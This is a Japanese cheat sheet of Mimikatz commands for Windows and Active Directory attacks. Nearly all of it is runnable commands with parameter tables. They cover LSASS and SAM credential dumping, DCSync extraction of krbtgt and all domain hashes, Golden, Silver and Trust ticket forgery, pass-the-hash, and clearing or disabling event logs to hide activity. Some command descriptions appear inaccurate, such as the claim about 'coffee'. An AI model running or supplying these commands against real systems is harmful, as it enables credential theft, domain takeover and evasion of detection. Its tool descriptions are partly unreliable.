Mimikatz チートシート

cheatsheet

目的別のMimikatzコマンドリファレンス

Mimikatzを実行するため、または特定の操作を行うために必要な権限を取得します。

デバッグ権限の取得

他のプロセスのメモリ(特にLSASS)にアクセスするために必要な権限です。管理者権限で実行する必要があります。

mimikatz # privilege::debug
mimikatz # exit

成功すると “Privilege ’20’ OK” と表示されます。

トークン操作

システムの権限トークンを操作して権限昇格を試みます。SYSTEMトークンなどを借用することが一般的です。

利用可能なトークンの一覧表示
mimikatz # token::list

現在利用可能な権限トークン(偽装トークンやプライマリートークン)を一覧表示します。

特定のユーザーまたはSYSTEMトークンの借用 (Impersonate)
mimikatz # token::elevate /SYSTEM

SYSTEMアカウントのプライマリートークンを借用し、新しいプロセス(通常はcmd.exe)をSYSTEM権限で起動します。

mimikatz # token::elevate /user:DOMAIN\Username /password:Password123

特定のユーザーの認証情報を使用してトークンを取得し、そのユーザーとしてプロセスを起動します。

mimikatz # token::elevate /domainadmin

現在 Logon session 内に存在する Domain Admin のトークンを借用します。成功すれば Domain Admin 権限で操作可能になります。

現在のトークン権限の表示
mimikatz # token::whoami

Mimikatzプロセスが現在どのユーザー/権限で動作しているかを表示します。

トークンの回復
mimikatz # token::revert

借用していたトークンを解放し、元のトークンに戻ります。

🔑 認証情報ダンプ (Credential Dumping)

メモリ、SAMデータベース、ドメインコントローラーなどからユーザーの認証情報(パスワード、ハッシュ、チケットなど)を抽出します。

LSASS プロセスメモリからの抽出

Local Security Authority Subsystem Service (LSASS) のメモリから、ログイン中のユーザーの認証情報を抽出します。最も一般的に使用される機能です。管理者権限とデバッグ権限が必要です。

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit

`sekurlsa::logonpasswords` は、以下の情報をまとめて取得しようとします。

  • 平文パスワード (WDigest, LiveSSP)
  • Kerberosチケット
  • NTLMハッシュ
  • その他 (SSP, TSPkg)

注意: Windows 8.1/2012 R2以降、WDigestはデフォルトでメモリに平文パスワードを保存しません(レジストリ設定による)。

特定の認証プロバイダを指定して抽出
コマンド 説明
sekurlsa::msv NTLMハッシュと、場合によってはSHA1ハッシュを取得します。
sekurlsa::kerberos Kerberosチケット(TGT, TGS)と関連情報(PIN、キーなど)を取得します。
sekurlsa::wdigest 平文パスワードを取得します(有効な場合)。
sekurlsa::tspkg Terminal Services Package 関連の認証情報を取得します。
sekurlsa::ssp Security Support Provider 関連の認証情報を取得します。
sekurlsa::livessp Live ID Security Support Provider 関連の認証情報を取得します (Windows アカウントなど)。
LSASSミニダンプファイルからの抽出

別のマシンで取得したLSASSプロセスのメモリダンプファイル (.dmp) から認証情報を抽出します。

mimikatz # sekurlsa::minidump lsass_dump.dmp
mimikatz # sekurlsa::logonpasswords
mimikatz # exit

まずミニダンプファイルを読み込み、その後で通常の抽出コマンドを実行します。

SAM/SYSTEMファイルからの抽出 (オフライン)

システムが起動していない状態や、別のマシンから取得したSAM (Security Account Manager) および SYSTEM レジストリハイブファイルからローカルアカウントのNTLMハッシュを抽出します。

mimikatz # lsadump::sam /sam:C:\path\to\SAM /system:C:\path\to\SYSTEM
mimikatz # exit

シャドウコピーなどから取得したファイルを使用することが一般的です。

LSA Secretsのダンプ (オフライン/オンライン)

LSA (Local Security Authority) に保存されているシークレット情報(サービスアカウントのパスワードなど)をダンプします。

mimikatz # privilege::debug
mimikatz # lsadump::secrets
mimikatz # exit

オンラインで実行する場合。

mimikatz # lsadump::secrets /system:C:\path\to\SYSTEM /security:C:\path\to\SECURITY
mimikatz # exit

オフラインでSYSTEMとSECURITYレジストリハイブファイルから実行する場合。

DCSync 攻撃 (ドメインコントローラー権限が必要) 😈

ドメインコントローラー (DC) のレプリケーションプロトコルを悪用し、DCに直接アクセスすることなく、特定のユーザー (通常は krbtgt や管理者アカウント) のパスワードハッシュをドメイン内の任意のメンバーサーバーから取得します。Domain Admins権限または同等のレプリケーション権限が必要です。

特定のユーザーのハッシュを取得
mimikatz # lsadump::dcsync /user:DOMAIN\TargetUser /domain:yourdomain.local
mimikatz # exit

`TargetUser` のNTLMハッシュなどを取得します。

krbtgtアカウントのハッシュを取得 (Golden Ticket作成に利用)
mimikatz # lsadump::dcsync /user:krbtgt /domain:yourdomain.local
mimikatz # exit

ドメイン全体のKerberos TGT (Ticket Granting Ticket) を暗号化するための `krbtgt` アカウントのハッシュを取得します。これが漏洩すると非常に危険です。

ドメイン全体のハッシュを取得 (全ユーザー)
mimikatz # lsadump::dcsync /all /csv /domain:yourdomain.local
mimikatz # exit

ドメイン内の全ユーザーのハッシュ情報をCSV形式で取得します。非常に時間がかかり、ログにも残りやすい操作です。

警告: DCSyncは非常に強力な攻撃手法であり、検知されやすい操作です。

その他の認証情報ストア

Windows Vault (資格情報マネージャー)

Windowsの資格情報マネージャーに保存されているWebサイトやネットワーク資格情報を表示します。

mimikatz # vault::list
mimikatz # vault::cred /guid:{GUID}  # 特定のGUIDを指定して詳細表示
mimikatz # exit

`vault::list` で一覧表示し、GUIDを確認してから `vault::cred` で詳細(場合によっては平文パスワード)を表示します。

DPAPI (Data Protection API)

ユーザーのマスターキーを使用して、DPAPIで保護されたデータ(一部のパスワード、証明書など)を復号します。

mimikatz # sekurlsa::dpapi  # 現在のユーザーのマスターキーを取得
mimikatz # dpapi::cred /in:C:\path\to\credential\file /masterkey:MASTERKEY_VALUE
mimikatz # exit

まず `sekurlsa::dpapi` でマスターキーを取得し、それを使用して保護されたファイルを `dpapi::cred` などで復号します。

🎫 Kerberos チケット操作 (Kerberos Ticket Manipulation)

Kerberos認証プロトコルで使用されるチケットを操作し、権限昇格や横展開を行います。

Kerberos チケットの表示・管理

現在のセッションのチケット一覧表示
mimikatz # kerberos::list

現在のユーザーセッションでキャッシュされているKerberosチケット(TGTおよびサービスチケット)を一覧表示します。

チケットのエクスポート
mimikatz # kerberos::list /export

現在のセッションのチケットを `.kirbi` ファイル形式でカレントディレクトリにエクスポートします。ファイル名はチケット情報に基づいて自動生成されます。

チケットの削除 (パージ)
mimikatz # kerberos::purge

現在のセッションのKerberosチケットキャッシュをすべて削除します。

Golden Ticket (ゴールデンチケット) 👑

ドメインの `krbtgt` アカウントのパスワードハッシュ(NTLMハッシュまたはAESキー)を使用して、任意のユーザーとして偽の TGT (Ticket Granting Ticket) を作成します。これにより、ドメイン内のほぼすべてのリソースにアクセス可能になります。krbtgt のハッシュが必要です (DCSyncなどで取得)。

Golden Ticket の作成と挿入 (Pass-the-Ticket)
mimikatz # kerberos::golden /user:ForgedUser /domain:yourdomain.local /sid:S-1-5-21-domain-sid /krbtgt:krbtgt_hash /id:500 /ptt
mimikatz # exit
パラメータ 説明
/user:<username> 偽装したいユーザー名 (存在しなくても良い場合がある)。通常は Administrator など。
/domain:<domain.fqdn> ターゲットドメインのFQDN。
/sid:<domain_sid> ターゲットドメインのSID (例: S-1-5-21-1234567890-1234567890-123456789)。whoami /user などで確認可能。
/krbtgt:<hash> krbtgtアカウントのNTLMハッシュまたはAESキー (AES128/AES256)。DCSyncなどで取得。
/id:<rid> 偽装するユーザーのRID (Relative ID)。Administratorは通常500。省略するとランダムなユーザーになる場合がある。
/groups:<rid1,rid2,...> (オプション) 所属させたいグループのRIDリスト。デフォルトは Domain Admins など主要グループ。
/startoffset:<minutes> (オプション) チケットの有効開始時間を現在から何分前にするか。デフォルトは0 (現在)。
/endin:<minutes> (オプション) チケットの有効期間 (分)。デフォルトは10年 (Kerberosポリシーによる)。
/renewmax:<minutes> (オプション) チケットの最大更新可能期間 (分)。デフォルトは10年 (Kerberosポリシーによる)。
/ptt 作成したチケットを現在のセッションに直接挿入 (Pass-the-Ticket)。
/ticket:<filename.kirbi> 作成したチケットをファイルに保存。/ptt とは排他。
/aes128:<key> (オプション) NTLMハッシュの代わりにAES128キーを使用。
/aes256:<key> (オプション) NTLMハッシュの代わりにAES256キーを使用。

非常に強力: Golden Ticket はドメインコントローラーのパスワード変更ポリシーなどを回避できる場合があります。

Silver Ticket (シルバーチケット) 🥈

特定のサービスアカウントのパスワードハッシュ(NTLMハッシュ)を使用して、そのサービスに対する偽の TGS (Ticket Granting Service) チケットを作成します。これにより、特定のサービス(例: CIFS, HOST, RPCSS)へのアクセス権限を偽装できます。サービスアカウントのハッシュが必要です。

Silver Ticket の作成と挿入 (CIFSサービスの場合)
mimikatz # kerberos::golden /user:ForgedUser /domain:yourdomain.local /sid:S-1-5-21-domain-sid /target:fileserver.yourdomain.local /service:cifs /rc4:service_account_ntlm_hash /id:500 /ptt
mimikatz # exit
パラメータ 説明
/target:<server.fqdn> ターゲットとなるサーバーのFQDN。
/service:<spn_service_class> ターゲットサービスのSPN (Service Principal Name) のサービスクラス (例: cifs, host, rpcss, http, mssqlsvc)。
/rc4:<ntlm_hash> ターゲットサービスアカウントのNTLMハッシュ。
その他、/user, /domain, /sid, /id, /ptt, /ticket などは Golden Ticket と同様。
/aes128 /aes256 (オプション) サービスアカウントがAESキーを持つ場合、それらを使用可能。

Silver Ticket はターゲットサーバーのみで有効であり、KDC (Key Distribution Center) との通信を必要としません。そのため、検知されにくい場合があります。

Trust Ticket (信頼チケット) 🤝

フォレスト間の信頼関係で使用される信頼キー (Trust Key) を使用して、信頼されたフォレストのユーザーになりすますためのチケットを作成します。

mimikatz # kerberos::golden /user:ForgedUser@TrustedDomain /domain:yourdomain.local /sid:S-1-5-21-domain-sid /sids:S-1-5-21-trusted-domain-sid-519 /rc4:trust_key_hash /service:krbtgt /target:TrustedDomain.local /ptt
mimikatz # exit

信頼キーや信頼先ドメインのSIDなど、より多くの情報が必要です。主にフォレスト間の横展開に使用されます。

Kerberos チケット要求 (Ask)

現在のユーザーのコンテキストで、特定のSPNに対するTGSチケット、またはTGTをKDCに要求します。

TGTの要求
mimikatz # kerberos::ask /target:krbtgt/YOURDOMAIN.LOCAL
特定のサービス(SPN)に対するTGSの要求
mimikatz # kerberos::ask /target:cifs/fileserver.yourdomain.local

主にKerberos設定のテストや、特定のチケットをキャッシュさせたい場合に使用します。

↔️ 横展開支援 (Lateral Movement Support)

取得した認証情報(ハッシュやチケット)を使用して、ドメイン内の他のコンピューターへアクセスしたり、コマンドを実行したりします。

Pass-the-Hash (PtH) NTLM

ユーザーの平文パスワードの代わりにNTLMハッシュを使用して、新しいプロセス(通常はコマンドプロンプト)を起動し、リモートシステムへの認証を行います。SMB/WMIなどのNTLM認証を使用するプロトコルで有効です。

mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:TargetUser /domain:TargetDomain /ntlm:NTHashValue /run:cmd.exe
mimikatz # exit
パラメータ 説明
/user:<username> 使用するユーザー名。
/domain:<domain_or_computer> ターゲットドメイン名またはローカルアカウントの場合はコンピューター名。
/ntlm:<ntlm_hash> 使用するNTLMハッシュ。
/run:<command> (オプション) 起動するコマンド。デフォルトは cmd.exe。PowerShellなども指定可能 (例: powershell.exe -noP -sta)。
/aes128 /aes256 (オプション) Overpass-the-Hash (後述) のためにAESキーを指定する場合。

成功すると、指定したユーザーの権限で新しいコマンドプロンプトウィンドウが開きます。そのウィンドウから dir \\TargetMachine\c$ のようなコマンドを実行してリモートアクセスを試みます。

注意: Restricted Admin Mode や Remote Credential Guard が有効な環境では PtH が制限されることがあります。

リモートコマンド実行 (Misc)

Mimikatz自体に直接的なリモート実行機能は多くありませんが、取得した認証情報やチケットと組み合わせて他のツール(PsExec, WMI, WinRMなど)を使用する際に、misc::cmd でローカルコマンドを実行できます。

mimikatz # misc::cmd

Mimikatzのインタラクティブモード内でローカルのコマンドプロンプトを起動します。PtH や PtT で権限を奪取したセッション内で直接他のツールを実行するのに便利です。

mimikatz # misc::runl /command:c:\tools\psexec.exe \\TargetMachine cmd.exe

指定したコマンドを新しいプロセスとして、現在のMimikatzセッションの権限(PtH/PtT/Token Elevate後など)で実行します。

🔧 その他ユーティリティ (Miscellaneous Utilities)

Mimikatzには、情報収集、システム操作、デバッグなどに役立つ様々な補助機能が含まれています。

システム・プロセス情報

コマンド 説明
misc::info Mimikatzのバージョン、OS情報、ユーザー情報などを表示します。
misc::version OSのバージョンとビルド番号を表示します。
process::list 実行中のプロセスを一覧表示します。
process::suspend /pid:<PID> 指定したプロセスIDのプロセスを一時停止します。
process::resume /pid:<PID> 一時停止中のプロセスを再開します。
process::kill /pid:<PID> 指定したプロセスIDのプロセスを強制終了します。
misc::cmd Mimikatz 内で cmd.exe を起動します。
misc::taskmgr タスクマネージャーを起動します。
misc::regedit レジストリエディタを起動します。

イベントログ操作 🧹

コマンド 説明
event::clear 注意: システム、セキュリティ、アプリケーションのイベントログを消去します。非常に痕跡が残りやすい操作です。
event::drop イベントログサービス (EventLog) を停止し、パッチを適用してイベント記録を無効化しようと試みます (成功率は環境によります)。

サービス操作

コマンド 説明
service::list システム上のサービスを一覧表示します。
service::stop /name:<ServiceName> 指定したサービスを停止します。
service::start /name:<ServiceName> 指定したサービスを開始します。
service::remove /name:<ServiceName> 指定したサービスを削除します。
service::preshutdown (特殊) シャットダウン前の通知をサービスに送信します。

暗号化・証明書関連 (Crypto/DPAPI) 🔐

コマンド 説明
crypto::liststores システムまたはユーザーの証明書ストアを一覧表示します。
crypto::listkeys 利用可能な暗号化キープロバイダとキーコンテナを一覧表示します。
crypto::certificates /export システムまたはユーザーの証明書(秘密鍵付き)をエクスポートします (PFX/DER形式)。
crypto::capi CryptoAPI関数のフックを試みます。
crypto::cng Cryptography Next Generation (CNG) 関数のフックを試みます。
dpapi::masterkey ユーザーまたはシステムのDPAPIマスターキーを復号します(バックアップキーまたはパスワード/ハッシュが必要)。
dpapi::cred DPAPIで保護された資格情報ファイルを復号します(マスターキーが必要)。
dpapi::chrome (試験的) ChromeブラウザのクッキーなどをDPAPIキーを使って復号しようと試みます。

Mimikatz自身の操作

コマンド 説明
log [filename.log] Mimikatzの出力を指定したファイルに記録します。ファイル名を省略するとログ記録を停止します。
coffee Mimikatzのアイコンとウィンドウタイトルを変更します。(実行中の痕跡を隠すため)
version Mimikatzのバージョン情報を表示します。
cls 画面をクリアします。
exit Mimikatzを終了します。

コメント

タイトルとURLをコピーしました